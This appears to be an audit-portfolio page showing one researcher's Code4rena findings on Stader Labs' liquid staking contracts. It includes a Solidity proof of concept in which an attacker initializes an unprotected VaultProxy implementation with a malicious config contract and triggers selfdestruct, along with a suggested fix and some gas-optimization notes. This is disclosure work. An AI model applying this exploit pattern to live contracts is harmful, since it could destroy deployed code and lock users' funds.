Stader Labs - 0x70C9's results

Decentralized ETH liquid staking protocol with 4 ETH bond for anyone to be a node operator.

General Information

Platform: Code4rena

Start Date: 02/06/2023

Pot Size: $100,000 USDC

Total HM: 15

Participants: 75

Period: 7 days

Judge: Picodes

Total Solo HM: 5

Id: 249

League: ETH

Stader Labs

Findings Distribution

Researcher Performance

Rank: 13/75

Findings: 2

Award: $2,080.66

Gas:
grade-b

🌟 Selected for report: 0

πŸš€ Solo Findings: 0

Findings Information

🌟 Selected for report: broccolirob

Also found by: 0x70C9, bin2chen, dwward3n, hals

Labels

bug
3 (High Risk)
satisfactory
duplicate-418

Awards

2059.0426 USDC - $2,059.04

External Links

Lines of code

https://github.com/code-423n4/2023-06-stader/blob/main/contracts/factory/VaultFactory.sol#L29

Vulnerability details

Impact

When the VaultFactory contract gets initialized, it deploys an instance of VaultProxy to be used as the implementation contract that gets cloned throughout the factory contract. Because this VaultProxy is not getting initialized, anybody can be the initializer of the vaultProxyImplementation. The attacker can initialize and pass a malicious staderConfig address containing a selfdestruct instruction. All the attacker needs to do now is to call the malicious function, and the proxy will delegatecall to it, leading to the selfdestruct of the implementation contract being used in the VaultFactory.

Proof of Concept

contract MaliciousStaderConfig {
  address admin;
  
  constructor() {
    admin = msg.sender;
  }

  function getAdmin() external view returns (address) {
    return admin;
  }

  function getValidatorWithdrawalVaultImplementation() external view returns (address) {
    return address(this);
  }

  function kill() external {
    selfdestruct(admin);
  }
}

contract TestAttack() {
  VaultFactory vaultFactory;
  /* ... */
  function attack() public {
    address vaultProxyImplementation = vaultFactory.vaultProxyImplementation();
    MaliciousStaderConfig attacker = new MaliciousStaderConfig();
    VaultProxy(vaultProxyImplementation).initialise(true, 1, 1, address(attacker));
    MaliciousStaderConfig(vaultProxyImplementation).kill();  // selfdestructs 
  }
}

Tools Used

Manual review.

Add _disableInitializers() in the constructor of VaultProxy, just like it's being done on the VaultFactory contract.

Assessed type

Access Control

#0 - c4-judge

2023-06-10T10:48:15Z

Picodes marked the issue as duplicate of #167

#1 - c4-judge

2023-06-26T15:49:50Z

Picodes marked the issue as satisfactory

Awards

21.6219 USDC - $21.62

Labels

bug
G (Gas Optimization)
grade-b
G-25

External Links

Gas Optimizations

NodeELRewardVault.withdraw could query the right slots and avoid external calls

In the withdraw function, one queries poolId, operatorId, etc, by doing IVaultProxy(address(this)).poolId(), etc. Consider just mimicking the same storage layout present in the VaultProxy contract and just query those values as normal SLOADs, thus avoiding external calls to self.

PermissionedPool.stakeUserETHToBeacon for loop index can be incremented with unchecked

The for loop inside another for loop in stakeUserETHToBeacon is incrementing index without an unchecked block. Consider wrapping it into an unchecked block, just like itΒ΄s being done with i.

PermissionedPool.fullDepositOnBeaconChain doesn't need to call getPermissionedNodeRegistry

The fullDepositOnBeaconChain function can only be called by the PermissionedNodeRegistry. So after the first UtilLib check, we are certain that msg.sender is the node registry address. So instead of doing address nodeRegistryAddress = staderConfig.getPermissionedNodeRegistry();, just do address nodeRegistryAddress = msg.sender;.

Make PermissionedPool.computeDepositDataRoot public instead of external

The computeDepositDataRoot function gets called internally inside the PermissionedPool contract, and since it is external it can only be called through an external call. Consider changing the visibility to public to allow the execution of computeDepositDataRoot inside the contract without the need for an external call.

#0 - c4-judge

2023-06-14T05:49:56Z

Picodes marked the issue as grade-b

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter